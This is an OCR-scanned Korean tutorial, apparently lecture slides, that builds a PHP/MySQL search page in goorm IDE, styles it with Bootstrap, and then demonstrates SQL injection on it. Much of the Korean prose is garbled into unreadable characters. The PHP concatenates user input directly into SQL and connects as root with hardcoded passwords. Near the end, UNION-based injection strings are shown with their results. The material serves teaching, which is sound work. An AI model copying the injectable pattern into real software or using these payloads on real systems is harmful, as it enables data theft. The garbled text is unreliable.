E01717| Hej|o| M 44 (Ctri+ M)
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48047 25 2

muin
2
Rl
=

©

goormide

E|0|L{7t YBHO2 WYs|ASLICH

o] 49 GAEE 0)F

<html>
<head>

<title>Hello goorm</title>
</head>

<body>

<hl>Hello goorm</hl>

<?php

echo "Contents here";

7>
</body>
|</html>|
O EFE X EM T ctri v+ s E =

FO|M index.phpE SEISHA IHY S SOFAM 2.
goormide m¥ WY mIUE  ZEo LAIC TR WE H
M workspace / Wl test_php_mysql / @ index.php
| = OZHE + kB C @ index.php
v M test_php_mysql 1
= @ index.php
2
1 3
<> 4
" 5
6
7
8
<)
10
11
%’—| —E—:r" % "Contents here" % "hello world" Qf
Aotz

o

2| K]
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PHP= OftH 10| 217k & 2

PHP= C, Javascript, Pythondt Z2 T2 2@ A10{0|04, 19954 Ef oz T = Jaf 0

Zt20Me 3 Qe AN YLCE O8E 2 HENAZF AR 10 /S LT £9] ThHE 210
~

of Ee| ZEAL 2HHY| MR H Y ME[AE 7152 & Att=(E2 0l gLt 3

(HE == ASLCHO] oL,
* PHPE O B $1 HOA|CHH &% 35 PHP
PHP - 4&3d

PHP= MH Z0|M ALl =22 A2 HTMLE
Mdsli=0, O] EH| 0| AQt 2= A8 StHA H|O[H & &

. https://opentutorials.org/course/3018

AE Fo A= W HES SETHMR. 25 HO U
paul-lab@naver.com w

BB 5 % O~ A~ ~
m

URL( https://test-php-mysql~ )= S EHFTMH L. SABIAAN 20282 E L L

2|2 A DUE . new run php

%715 E php -5 0.0.0.0:80 -t /workspace/test_php_mysql m https://test-php-mysql-oiju.run.goorm.io

root@goorm:~# AC
root@goorm:~# php -S 0.0.0.0:80 -t /workspace/test_php_mysql
PHP 7.3.9-1+ubuntul8.04.1+deb.sury.org+l Development Server started at Sun Oct 4 06:37:22 2020

Listening on http://0.0.0.0:80
Document root is /workspace/test_php_mysql

Press Ctrl-C to quit.
[Sun Oct 4 06:37:28 2020] 172.17.0.1:52878 [200]: /
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C (O @ test-php-mysql-ojju.run.goorm.io

Hello goorm

hello world

= JE0|7| I =0 TS0 3HE URLE HETIOIE &5 + 9
HAZAZ| =& St S

rr

Of M= X5 =07t QU
SEFL L CH O X MysQLE
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A X
MySQL =8
Oref =2 O[22 A LHsTAM .
sudo apt-get install php7.3-mysql
service mysqgl restart

mysql -uroot -p
BIZEBS 23 : 123456

Z}HOISHL|C}. ( SHOW DATABASES; )

F22fLICE (USE testdb; )

mysql> CREATE DATABASE testdb;
mysql> SHOW DATABASES;
mysql> USE testdb;

PHP

saL
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O| | 4=l DB OHOf| TABLES MMt == St & L|CH

mysql> CREATE TABLE testtable (
id int(11) NOT NULL AUTO_ INCREMENT,
title varchar(30) NOT NULL,
description text,
created datetime NOT NULL,
PRIMARY KEY(id)

) ENGINE=InnoDB;

sQL
M=l TABLEY CIO|EH S A UTLICH testZ 371 2| HIO|HE HE 2 57l &LICt
INSERT INTO testtable (title, description, created) VALUES ('Python’, 'Python is ....", N
OW());
INSERT INTO testtable (title, description, created) VALUES ('HTML', 'HTML is ...."', NOW
0);
INSERT INTO testtable (title, description, created) VALUES ('CSS', 'CSS is ...."', NOW());
sQL
SELECT * FROM testtable;
sQL
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PHP - MySQL 91&

index.phpZ OF2HQt 20| == IZM 2. PHP 20 CHSH ALKSH MBS of M FHB|= 2 Mea T
g HAHFYA L.
<html>
<head>
<title>Hello goorm</title>
</head>
<body>
<h1>Hello goorm</h1l>
<?php
$conn = mysqli connect("localhost”, "root", "123456", "testdb");
$sql = "SELECT * FROM testtable";
$result = mysqli_query($conn, $sql);
while($row = mysqli fetch array($result)) {
echo "<li>{$row['id']} - {$row['title']}</1i>";
}
?>
</body>
</html>
PHP
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Hello goorm

e 1 -Python
e 2-HTML
e 3-CSS

O 7|77tX] Z| 41 CHH, CRUDE &

HoEMK. $sq1 Ol 20| Ag7HA| FEotel sQLH= Y LICH

07| 71X @HET} EIMCHE AR M| A 018317| 2IsH Of2f £t71S B +3sHOF BHLICK. O] Hof A
L o 042l 492 TLK| YLIC

1. X AHES

Lok

URL 7H0 & AMfH{0f A2
2. MY dAFZ|(Z2(0[F 7[5)
3. H 2t O|4 8 &(SQL injection)
Yot St E MU[ATF JSLICEH AWS, Azuer, HIO|H| 222 E S0|8. SHX| 2 of
£ X SOtACHH goormO| 7ty HoH U CH MHS| LOprtM| a. o222 4&

= 3Lt ©

goorm Y11 C}
Hz 0| S2HL2E

SO YA Sl

o
P12 EdwithS &

2} 2l
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S0l X SOL (With H=H) - PHP+MySQLE 2'EFH EHIOIXI 2HST] -

Y

PHP+MySQLE 7tTtet S| 0] X| BHS
7| - 2%

4. 2791 7|5 o= 7|

5. 1M AATE

THO| O[0] %t A5tA|= 20| OfL|2tH 715 IDEO| CHZ 2t 22 BE O S HO[ 20| L=H3FTM Q.

service mysql restart

Plain Text
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OftH A[ZHOf = ZtErot AMEN 201 7|55 HE0 EES oplg Ut S4k= #el §=2F 1t
ot olgolt AM7|s2 ZH HAol f X 2100 7|52 2H 90| 5= 752 OfE ULt

2. 5% dM s 27|

Otgff FEE AFE S| descriptionOfl is7t E0{7t= 2 & EAtE
bootstrap ZE7F £ =0 Ol 22 3 HYSIE =

<html>
<head>
<title>Hello goorm</title>

<link rel="stylesheet” href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/boot
strap.min.css">

</head>
<body>
<?php
$conn = mysqli connect('localhost’, 'root', 'qwerl234', 'testdb');
$sgql = "select * from testtable where description like '%is%'";

$result = mysqli_query($conn, $sql);
echo "<table class="'table table-dark'>";
echo "<tr><th>ID</th><th>Title</th><th>Description</th></tr>";
while ($row = mysqli_ fetch_array($result)){
echo "<tr><td>{$row['id']}</td><td>{$row[ 'title' ] }</td><td>{$row[ 'description']}</t
d></tr>";

}
echo "</table>";
?>
</body>
</html>
PHP
OFEiZEZF AL EFIE F SRl % & AFE0HY is?l 7|/ EE &= ZEYLICL
$sgl = "select * from testtable where description like '%is%'";
PHP
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3. 1o — =
JFCHH is7h Ot AMEOM AME|l= gtE 27| IsiM= g7 slloF 2ta? 7| EO|= is7t
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<html>
<head>
<title>Hello goorm</title>
<link rel="stylesheet” href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/boot
strap.min.css">
</head>
<body>
<h1>Z M</h1>
<form action="index.php" method="get">
<input type="search"” name="search">
<input type="submit"” value="Submit">

</form>
<?php
$conn = mysqli_connect('localhost', 'root', 'qwerl234', 'testdb');
/* $sql = "select * from testtable where description like '%not%'"; */

T,
]

$sgql = "select * from testtable where description like '%".$ GET["search"]."%
$result = mysqli_query($conn, $sql);
echo "<table class='table table-dark'>";
echo "<tr><th>ID</th><th>Title</th><th>Description</th></tr>";
while ($row = mysqli_fetch_array($result)){
echo "<tr><td>{$row[ "id" | }</td><td>{$row[ "title" |}</td><td>{$row[ 'description’]}</t
d></tr>";
¥
echo "</table>";
?>
</body>
</html>

PHP
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<form action="index.php" method="get">
<input type="search" name="search">
<input type="submit" value="Submit">

</form>
PHP
index.php® get BAIO 2 Zt2 HI|ZICH= 047|010 Q. 0| AER M| HA| D url TES HTHE
Mla. o A AMOE L0 Submit HES =28 url #2 5 2= = YASLIC
< C ¢ @& mysqltest-hjend.run.goorm.igfindex.php?search=is
- |
‘ Submit ‘
Otz FES F7tot0f O HM HE|7t SO 7= &Rl 2 == oHlE LT
echo "select * from testtable where description like '%".$ GET["search"]."%'";
PHP
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<html>
<head>
<title>Hello goorm</title>
<link rel="stylesheet” href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/boot
strap.min.css">
</head>
<body>
<h1>& < /h1>
<form action="index.php" method="get">
<input type="search" name="search">
<input type="submit” value="Submit">
</form>
<?php
echo "select * from testtable where description like '%".$ GET["search"]."%'";
$conn = mysqli connect('localhost’, 'root', 'qwerl234', 'testdb');
/* $sql = "select * from testtable where description like '%not%'"; */
$sgql = "select * from testtable where description like '%".$ GET["search"]."%'";
$result = mysqli_query($conn, $sql);
echo "<table class='table table-dark'>";
echo "<tr><th>ID</th><th>Title</th><th>Description</th></tr>";
while ($row = mysqli_fetch_array($result)){
echo "<tr><td>{$row["id"]}</td><td>{$row[ 'title'|}</td><td>{$row[ "description’]}</t
d></tr>";
}
echo "</table>";
?>
</body>
</html>
PHP
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<html>
<head>
<title>Hello goorm</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/boot
strap.min.css"”>
</head>
<body>
<h1>Z230l</h1>
<form action="login.php" method="get">
<input type="text" name="1id">
<input type="password" name="password">
<input type="submit" value="Submit">
</form>
<h1>& &</h1>
<form action="index.php" method="get">
<input type="search" name="search">
<input type="submit" value="Submit">
</form>
<?php

echo "<hl>hello ohyun!</h1>";
echo "select * from testtable where description like '%".$ GET["search"]."%'";

$conn = mysqli_connect('localhost', 'root', 'qwerl234', ‘testdb');

/* $sql = "select * from testtable where description like '%not%'"; */

$sql = "select * from testtable where description like '%".$ GET["search"]."%'";

$result = mysqli_query($conn, $sql);

echo "<table class='table table-dark'>";

echo "<tr><th>ID</th><th>Title</th><th>Description</th></tr>";

while ($row = mysqli fetch_array($result)){

echo "<tr><td>{$row[ 'id']}</td><td>{$row[ 'title']}</td><td>{$row[ ‘description’']}</t

d></tr>";

}

echo "</table>";

?>

</body>
</html>

PHP
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<!DOCTYPE html>

<html>

<head>

<title>=710°1 HO|Kl</title>
</head>
<body>

<p>ID: <?php echo $ GET["id"]; ?></p>
<p>Password: <?php echo $ GET["password"]; ?></p>
</body>
</html>

PHP

5. 8N ~AFE

@ login.php o0.2ks

@J index.php 1.2k
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service mysql restart

Plain Text
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1. Bootstrap 3] 7|

<html>
<head>
<title>Hello goorm</title>
<link rel="stylesheet” href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/boot
strap.min.css”>
</head>
<body>
<h1>&E &< /h1>
<form action="index.php"” method="get">
<input type="search” name="search">
<input type="submit" value="Submit">
</form>
<?php
echo "select * from testtable where description like '%".$ GET["search"]."%'";
$conn = mysqgli_connect('localhost', 'root’', 'qwerl234', 'testdb');
/* $sql = "select * from testtable where description like '%not%'"; */
$sgl = "select * from testtable where description like '%".% GET["search"]."%
$result = mysqli_query($conn, $sql);
echo "<table class='table table-dark'>";
echo "<tr><th>ID</th><th>Title</th><th>Description</th></tr>";
while ($row = mysqli_fetch_array($result)){
echo "<tr><td>{$row[ "id']}</td><td>{$row[ 'title']}</td><td>{$row[ 'description’]}</t
d></tr>";
}
echo "</table>";
?>
</body>
</html>

TEE= 225U 2HUME HEEE AT Bootstrap= AHM|S] 2
e} V%

u] C
= fll
2. X ZEZHOCIM L2 AQRIX| S| E2| =& StAl& LT
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Build fast, responsive
sites with Bootstrap

Quickly design and customize responsive mobile-first sites with
Bootstrap, the world's most popular front-end open source
toolkit, featuring Sass variables and mixins, responsive grid
system, extensive prebuilt components, and powerful JavaScript
plugins.

Get started ‘ Download

Currently v4.5.3

ZEX : https://getbootstrap.com

Bootstrap

Quickly design and customize responsive mobile-first sites with Bootstrap, the
world's most popular front-end open source toolkit, featuring Sass variables and

B https://getbootstrap.com/

P SHOIXIO|A get started & 2O €SS FE0| 2 EE 7O IERAS LI

CSS

Copy-paste the stylesheet <1ink> into your <head> before all other stylesheets to load
our CSS.

Copy

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.mir

>

Bootstrap= 20 Lt 2 E M MANNM 7HE EO| AtEdts =&
0w, & S0[ 0]0] #SHEOf R, OFX| 220 =8-S o= 0| & AH|

Mz 22 0EA E = UA=KE BEEE 27 8.
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1. ExamplesE SEFA 2.

Bl Home Documentation Examples Icons Themes Expo Blog

2. U2 X7t Je=0|, M= CarouselS 2EISIEE &L L

Album examplo Pricing
so $15
et TImITT IS . o —— P
Album Pricing
Simple one-page template for photo galleries, Example pricing page built with Cards and
portfolios, and more. featuring a custom header and footer.

Exampie headiine.

Hoadng Hesding oatrg

Cover Carousel
A one-page template for building simple and Customize the navbar and carousel, then add
beautiful home pages. some new components.

3. ABUH HEX EE SOHFMR. R=RE cerl + 1 RILICE

“HE Elements  Console  Sources % e x

html lang-"en
¥ <head>..</head
++ ¥ cbody> so
» cheader>...</header
» <main role-"main”>..</main
script src="https://code.jquery.com/jquery-
3.5.1.slim.min.js" integrity-"sha3sa-
DfXdz2htPHO1sSSsSNCTpuj/
ZVAC+0GDaMOFVV38MVBNE+IbbVYUew+OrCXarkfi” crossoriein
html  body

Styles Computed  Event Listeners  DOM Breakpoints %
Filte thov .cls +, [{]

Example headline.

Cras justo odio, dapibus ac facilisis in, egestas eget quam. Donec id elit non mi
body { carousel.css:5

porta gravida at eget metus. Nullam id dolor id nibh ultricies vehicula ut id elit. ddtng=tbns: ayens
padding-bottom: 3rem;
color: M#sasasa;

Sign up today }
body { _reboot.scss;47
margin:
font-family
UI",Roboto, "Helvetica N
serif,"Apple Color Emoj
symbol”,"Noto Color Emoji";
font-size: 1rem;
font-weight: 4e0;
line-height: 1.5;

cotor+ W #212529;
left;
background-color: | #fff;
*, ::after, ::before { _reboot, scss:22
box-sizing: border-box;

Heading Heading Heading . bvd;:-“ o user agent stylesheet

-apple-system,BlinkMacSystemFont, "Segoe
“,Arial,"Noto Sans",sans-
Segoe UI Emoji”,"Segoe UI

74



Yol 2 SOL (With HZH) - PHP+MySQLE ZHEME EHI0IXI XS] - 38!

4. Ofcf Ot A HES 2EGiTAM .
ﬂ Elements Console Sources  » e : X

html lang="en
» <head>..</head
=+ ¥<body> == $0
» <header>..</header
» <main role="main">.</main
script src="https://code.jquery.com/jquery-
3.5.1.slim.min.js" integrity="sha384-
Dfxdz2htPHE155Ss5nCTpuj/
ZvAC+0GDamoFVv38MVBNE+IbbvYUew+OrcxaRkfi” crossoriein e
html  body

Styles Computed  Event Listeners DOM Breakpoints

Filter thov .cls + [4]

5. 00l Ot A& QUStA Offet Z0[ LEACHE S ESHM 2.

[R @] | Elements Console Sources » f i X

html lang-"en

» <nav class-"navbar navbar-expand-md navbar-dark fixed-
top bg-dark”>..</nav
/header
» cmain role-"main /main
html  bady

Styles Computed Event Listeners DOM Breakpoints  »

2.

d navb
">Carousel
="butto

'>Home
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<html>
<head>
<title>Hello goorm</title>
<link rel="stylesheet"” href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/boot
strap.min.css">
</head>
<body>
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand” href="#">Carousel</a>
<button class="navbar-toggler" type="button" data-toggle="collapse"” data-target="#nav
barCollapse” aria-controls="navbarCollapse"” aria-expanded="false"” aria-label="Toggle navi
gation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse"” id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-1link" href="#">Home <span class="sr-only">(current)</span></a>
</1i>
<1i class="nav-item">
<a class="nav-1link" href="#">Link</a>
</1li>
<1li class="nav-item">
<a class="nav-link disabled" href="#" tabindex="-1" aria-disabled="true">Disabl
ed</a>
</1li>
</ul>
<form class="form-inline mt-2 mt-md-0">
<input class="form-control mr-sm-2" type="text" placeholder="Search” aria-label
="Search">

<button class="btn btn-outline-success my-2 my-sm-0" type="submit">Search</button
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</form>
</div>
</nav>
<hl>Z < /h1>
<form action="index.php" method="get">
<input type="search” name="search">
<input type="submit” value="Submit">

</form>
<?php
echo "select * from testtable where description like '%".$ GET["search"]."%'";
$conn = mysqli connect('localhost', 'root’, 'qwerl234', 'testdb');
/* $sql = "select * from testtable where description like '%nhot%'"; */
$sgql = "select * from testtable where description like '%".$ GET["search"]."%'";

$result = mysqli_query($conn, $sql);
echo "<table class="'table table-dark'>";
echo "<tr><th>ID</th><th>Title</th><th>Description</th></tr>";
while ($row = mysqli_fetch_array($result)){
echo "<tr><td>{$row[ "id" ] }</td><td>{$row[ ‘title" |}</td><td>{$row[ "description’]}</t
d></tr>";
)i
echo "</table>";
?>
</body>
</html>
PHP

O 7| FR| 2 El 2t H2 Ofejef & LTt 077t 4 Z &2 O| X & Bootstrap2 £ Bt= O K| &2 CSS

(@)
= -
7t S| MEN S UIE 792 & ASULL &8 Custom CSS7t A= BLR(HEAZE Y2
2 EoALL MZ22 CSSE Yol B9), (&S0l 815 Css /a8 7HX| 1 2 = U0 s &8¢
u+ds 2+ ASHLL
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Zit=2 %S M, of2h AME0| 7H A= 2. & H ZEE Bootstraplil X IHFES

o
_I_El = A=
rel A =1 o] = ol ==
St & LILCE Bootstrap2 5700 A S A|CHH ZH| 0] X[ 0] = DocumentE HMH3| U2t A=
2 X el =
Ag =P =g Lot
Carousel Home
select * from testtable where description like '%%’
ID Title Description
1 Python  Python is an interpreted, high-level and general-purpose programming language. Created by Guido van Rossum
and first released in 1991, Python design philosophy emphasizes
Hypertext Markup Language (HTML) is the standard markup language for documents designed to be displayed in a
web browser.
Cascading Style Sheets (CSS) is a style sheet language used for describing the presentation of a document written in
a markup language such as HTML.
Java is a class-based, object-oriented programming language that is designed to have as few implementation
dependencies as possible
j = CZ2 ol I R EH
Za O AN ofef XE ZEE EHEHLL 22 marging = WE 0| Ofejet 20| = FHolk|
Ol X 5 2 PSS! =] = O A
Of AKX ofsfotr| == 2F B 00| RAHSHRASLICE
Spacing

Bootstrap includes a wide range of shorthand responsive margin and padding
utility classes to modify an element’s appearance. Assign responsive-friendly

B https://getbootstrap.com/docs/4.3/utilities/spacing/
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7| 2% 2 & Bootstrap= T & MH|AE row(H)E L1 ZH2ZE HOf|l 12702 column(€)2 2 L
£ MEE JHE L|Ch of2f O|0|X| & F TN L. 52 Ot e Z24 H 0] 2%

O 71 =2 =

M LH-E2 Otefl gridAl A B S 5T AM K.

Grid system

Use our powerful mobile-first flexbox grid to build layouts of all shapes and sizes
thanks to a twelve column system, five default responsive tiers, Sass variables

E, https://getbootstrap.com/docs/4.3/layout/grid/
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<html>
<head>
<title>Hello goorm</title>
<link rel="stylesheet"” href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/boot
strap.min.css">
</head>
<body>
<div class="container">
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="#">Carousel</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#nav
barCollapse” aria-controls="navbarCollapse"” aria-expanded="false" aria-label="Toggle navi
gation”>
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse” id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<1i class="nav-item active">
<a class="nav-1link" href="#">Home <span class="sr-only">(current)</span></a>
</1li>
<1i class="nav-item">
<a class="nav-1ink" href="#">Link</a>
</1i>
<li class="pav-item">
<a class="nav-link disabled"” href="#" tabindex="-1" aria-disabled="true">Disabled
</a>
</1i>
</ul>
<form class="form-inline mt-2 mt-md-0">
<input class="form-control mr-sm-2" type="text" placeholder="Search” aria-label="Se
arch">
<button class="btn btn-outline-success my-2 my-sm-8" type="submit">Search</button>
</form>
</div>
</nav>
</div>
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<div class="container">
<div class="row">
<div class="col-md-12" style="margin-top:25px;">
<h1>Z& A< /h1>
<form action="index.php" method="get">
<div class="row">
<div class="col">
<input type="search"” class="form-control” name="search">
</div>
<div class="col">
<input type="submit" class="btn btn-info" value="Z2{">
</div>
</div>
</form>
<?php
echo "select * from testtable where description like '%".$ GET["search"]."%'";
$conn = mysqli_connect('localhost', 'root', 'qwerl234', 'testdb');
/* $sql = "select * from testtable where description like '%not%'"; */
$sql = "select * from testtable where description like '%".$ GET["searc
h™]-"%";
$result = mysqli_query($conn, $sql);
echo "<table class='table table-dark'>";
echo "<tr><th>ID</th><th>Title</th><th>Description</th></tr>";
while ($row = mysqli_fetch_array($result)){
echo "<tr><td>{$row[ 'id']}</td><td>{$row[ 'title’']}</td><td>{$row[ 'descriptio
Nl k</Ed> </ ERr> s
¥
echo "</table>";
?>
</div>
</div>
</div>
</body>
</html>

PHP
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Carouse| Home

Description

Python is an interpreted, high-level and general-purpose programming
language. Created by Guido van Rossum and first released in 1991, Python
design philosophy emphasizes

Hypertext Markup Language (HTML) is the standard markup language for
documents designed to be displayed in a web browser.

Cascading Style Sheets (CSS) is a style sheet language used for describing the
presentation of a document written in a markup language such as HTML.

Java is a class-based, object-oriented programming language that is designed
to have as few implementation dependencies as possible
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UX|BE, Bootstrap & BEES AME510] ZHO[X|E HE 5= AUFH

GoogleO| M Bootstrap F =& HEZIS BMITAH R F2 HEEI2 CI2EE 20 MHO| H2E St
M. Of2) AfO|EZ X=X SH|Ct.

Free Bootstrap Themes, Templates, Snippets, and Guides - o

Start Bootstrap
Start Bootstrap develops free to download, open source Bootstrap 4 themes, ——  Bootstrap themes, templates,
templates, and snippets and creates guides and tutorials to help you learn more e

B https://startbootstrap.com/

E2 H O SOME 252 o2l EfDHE =S EELIL

Clean Blog - Bootstrap Blog Theme Clean Blog

Clean blog is a carefully styled Bootstrap blog theme that is perfect for personal
or company blogs. This theme features four HTML pages including a blog index,

E https://startbootstrap.com/theme/clean-blog

Man must explore, and this is
exploration at its greatest
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Of2f EO|M Free Download = %%MIE& MK ZEECHRZE 2o M £ QUGL|CH £ EIDEY ¢
st . CSS, JS, OIDIXIQPiH L
Q.

~

Clean Blog
A clean, Bootstrap blog theme ready to hook
Into your favorite CMS or blogging platform

Clean Blog

Man must explore, and this is

exploration at its greatest
ity small from 150 miles up

Probler # Upgrade to Pro

1 believe every human has a finite Ucense
number of heartbeats. | don't intend to
waste any of mine.

@ Live Preview © View Source Code
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workspace / 8 sqlinjectiontest / @ index.php

E terminalo

rtbootstrap-clea

=TT gEcE A startbootstrap-clas-blog-2h pages 7ip
ZIP/TAR &%

A"

Bo iz

Edgec 71712 Oven

nygeec

%4

e
vy

LTS PO

startbootstrap-clean-blog-gh-pages.zip
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unzip startbootstrap-clean-blog-gh-pages.zip

Plain Text

@ index.php

root@goorm: /workspace/sqlinjectiontest# unzip startbootstrap-clean-blog-gh-pages.zip
Archive: startbootstrap-clean-blog-gh-pages.zip
3f10ae5ebb0c0a781403495114da4bf444dc1457

creating: startbootstrap-clean-blog-gh-pages/
inflating: startbootstrap-clean-blog-gh-pages/.browserslistrc
extracting: startbootstrap-clean-blog-gh-pages/.gitignore
inflating: startbootstrap-clean-blog-gh-pages/.travis.yml
inflating: startbootstrap-clean-blog-gh-pages/LICENSE
inflating: startbootstrap-clean-blog-gh-pages/README.md
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goormide m2 mEy m=HE ol
workspace
DZHE
sqlinjectiontest
> Il css
> I img
> I js
> I mail
> Il scss
> I vendor
B .browserslistrc

2 .gitignore

B .travis.yml

2 LICENSE

B3 README.md

& about.html

§ contact.html

B gulpfilejs

g index.html

@ index.php

B package-lock.json
B2 package.json

& post.html
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At OIK| index.phpS Ot ZEZ =FFAIH, A HESS AASS &= A ELIL

<!DOCTYPE html>
<html lang="en">

<head>

<meta charset="utf-8">
<meta name="viewport"” content="width=device-width, initial-scale=1, shrink-to-fit=no">

<meta name="description” content="">

<meta name="author" content="">
<title>Clean Blog - Start Bootstrap Theme</title>

<l-- Bootstrap core CSS -->
<link href="vendor/bootstrap/css/bootstrap.min.css” rel="stylesheet">

<l-- Custom fonts for this template -->

<link href="vendor/fontawesome-free/css/all.min.css"” rel="stylesheet"” type="text/css">

<link href="https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic"’ r
el="stylesheet' type="text/css'>

<link href="https://fonts.googleapis.com/css?family=0Open+Sans:300italic,400italic,600it
alic,700italic,800italic,400,300,600,700,800" rel='stylesheet’' type='text/css'>

<l-- Custom styles for this template -->
<link href="css/clean-blog.min.css"” rel="stylesheet”>

</head>

<body>
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<!-- Navigation -->
<nav class="navbar navbar-expand-1lg navbar-light fixed-top"” id="mainNav">
<div class="container">
<a class="navbar-brand" href="index.html">Start Bootstrap</a>
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="coll
apse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="fal
se” aria-label="Toggle navigation">
Menu
<i class="fas fa-bars"></i>
</button>
<div class="collapse navbar-collapse” id="navbarResponsive">
<ul class="navbar-nav ml-auto">
<1i class="nav-item">
<a class="nav-1link" href="index.html">Home</a>
</1i>
<1i class="nav-item">
<a class="nav-1link" href="about.html">About</a>
</1i>
<1i class="nav-item">
<a class="nav-link" href="post.html">Sample Post</a>
</1i>
<1i class="nav-item">
<a class="nav-1link" href="contact.html">Contact</a>
</1i>
</ul>
</div>
</div>
</nav>
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<!-- Page Header -->
<header class="masthead" style="background-image: url('img/home-bg.jpg')">
<div class="overlay"></div>
<div class="container">
<div class="row">
<div class="col-1g-8 col-md-10 mx-auto">
<div class="site-heading">
<hl>Clean Blog</hl>
<span class="subheading”>A Blog Theme by Start Bootstrap</span>
</div>
</div>
</div>
</div>
</header>

<div class="container”>
<div class="row">
<div class="col-1g-8 col-md-106 mx-auto”>
<h1>Z& 2</h1>
<form action="index.php" method="get">
<div class="row">
<div class="col">
<input type="search” class="form-control” name="search"”>
</div>
<div class="col">
<input type="submit" class="btn btn-info" value="Z28">
</div>
</div>
</form>
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<?php
echo "select * from testtable where description like '%".$ GET["search"]."%'";
$conn = mysqli_connect('localhost', 'root', 'qwerl234', 'testdb');
/* $sql = "select * from testtable where description like '%not%'"; */
$sql = "select * from testtable where description like '%".$ GET["searc
h"]."%"";
$result = mysqli_query($conn, $sql);
echo "<div class='post-preview'>";
while ($row = mysqli_fetch_array($result)){
echo "<a href="#'><h2 class="post-title'>{$row[ id']} - {$row[ 'title']}</h2><
h3 class='post-subtitle'>{$row[ 'description']}</h3></a><p class="post-meta'>Posted by<a h
ref="#'>Start Bootstrap</a>on September 24, 2019</p>";
}
echo "</div>";
?>
<hr>
<!-- Pager -->
<div class="clearfix">
<a class="btn btn-primary float-right"” href="#">0lder Posts &rarr;</a>
</div>
</div>

</div>
</div>

<hr>
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<!-- Footer -->
<footer>
<div class="container">
<div class="row">
<div class="col-1g-8 col-md-10 mx-auto”>
<ul class="list-inline text-center">
<li class="list-inline-item">
<a href="#">
<span class="fa-stack fa-1lg">
<i class="fas fa-circle fa-stack-2x"></i>
<i class="fab fa-twitter fa-stack-1x fa-inverse"></i>

</span>
</a>
</1li>
<li class="list-inline-item">
<a href="#">

<span class="fa-stack fa-1lg">
<i class="fas fa-circle fa-stack-2x"></i>
<i class="fab fa-facebook-f fa-stack-1x fa-inverse"></i>
</span>
</a>
</1i>
<1li class="list-inline-item">
<a href="#">
<span class="fa-stack fa-1lg">
<i class="fas fa-circle fa-stack-2x"></i>
<i class="fab fa-github fa-stack-1x fa-inverse"></i>

</span>
</a>
</1i>
</ul>
<p class="copyright text-muted”>Copyright &copy; Your Website 2020</p>
</div>
</div>
</div>
</footer>
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<!-- Bootstrap core JavaScript -->
<script src="vendor/jquery/jquery.min.js"></script>
<script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

<l-- Custom scripts for this template -->
<script src="js/clean-blog.min.js"></script>

</body>

</html>

@ Clean Blog - Start Bootstrap Th X <

C { @ sqlinjectiontest-iudrp.run.goorm.io * B S OB N a

Start Bootstrap HOME ABOUT SAMPLE POST CONTACT

Clean Blog

A Blog Theme by Start Bootstrap
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select * from testtable where description like '%%'

1-Python

Python is an interpreted, high-level and general-purpose
programming language. Created by Guido van Rossum
and first released in 1991, Python design philosophy
emphasizes

Posted byStart Bootstrapon September 24, 2019

2gE AEE ofgf FR0AM HR2ZE 7E = AF LI

paullab.co.kr

@ http://paullab.co.kr/sglinjectiontest.zip
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<?php
echo "select * from testtable where description like '%".$ GET["search"]."%'";
$conn = mysqli_connect('localhost’, 'root', 'qwerl234', 'testdb');
$sql = "select * from testtable where description like '%".$ GET["search"]."%'";
$result = mysqli_query($conn, $sql);
echo "<div class="post-preview'>";
while ($row = mysqli_fetch_array($result)){
echo "<a href="#"'><h2 class="post-title'>{$row[ 'id" ]} - {$row[ 'title']}</h2><h3 cla
ss="post-subtitle'>{$row[ 'description']}</h3></a><p class='post-meta'>Posted by<a href
="#'>Start Bootstrap</a>on September 24, 2019</p>";
}
echo "</div>";
>
PHP
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%' union all select * from testtable where description like '%

PHP

Query= 0| 2|7 Mzt
Z40| sQL Injection 54
L 25 AUFHLCL
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Ay

select * from testtable where description like ‘%%’ union all select * from
testtable where description like '%%"

1-Python

Python is an interpreted, high-level and general-purpose
programming language. Created by Guido van Rossum
and first released in 1991, Python design philosophy
emphasizes

1 byStart Bootstrapon September 24, 2(

2-HTML

Hypertext Markup Language (HTML) is the standard
markup language for documents designed to be
displayed in a web browser.

1 byStart Bootstrapon September 24, 2(

3-Css

Cascading Style Sheets (CSS) is a style sheet language
used for describing the presentation of a document
written in a markup language such as HTML.

i byStart Bootstrapon Septeml

4-JAVA

Java is a class-based, object-oriented programming
language that is designed to have as few implementation
dependencies as possible

1 byStart Bootstrapon September 24, 201

1-Python

Python is an interpreted, high-level and general-purpose
programming language. Created by Guido van Rossum
and first released in 1991, Python design philosophy
emphasizes

ted byStart Bootstrapon Septen
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%' union all select id, id, id, id from testtable where description like '%

PHP
A

select * from testtable where description like '%%' union all select id, id, id, id
from testtable where description like '%%"

1-Python

Python is an interpreted, high-level and general-purpose
programming language. Created by Guido van Rossum
and first released in 1991, Python design philosophy
emphasizes

Posted byStart Bootstrapon September 24, 2019

2-HTML

Hypertext Markup Language (HTML) is the standard
markup language for documents designed to be
displayed in a web browser.

Posted byStart Bootstrapon September 24, 2019

3-CSS

Cascading Style Sheets (CSS) is a style sheet language
used for describing the presentation of a document
written in a markup language such as HTML.

Posted byStart Bootstrapon September 24, 2019

4-JAVA

Java is a class-based, object-oriented programming
language that is designed to have as few implementation
dependencies as possible

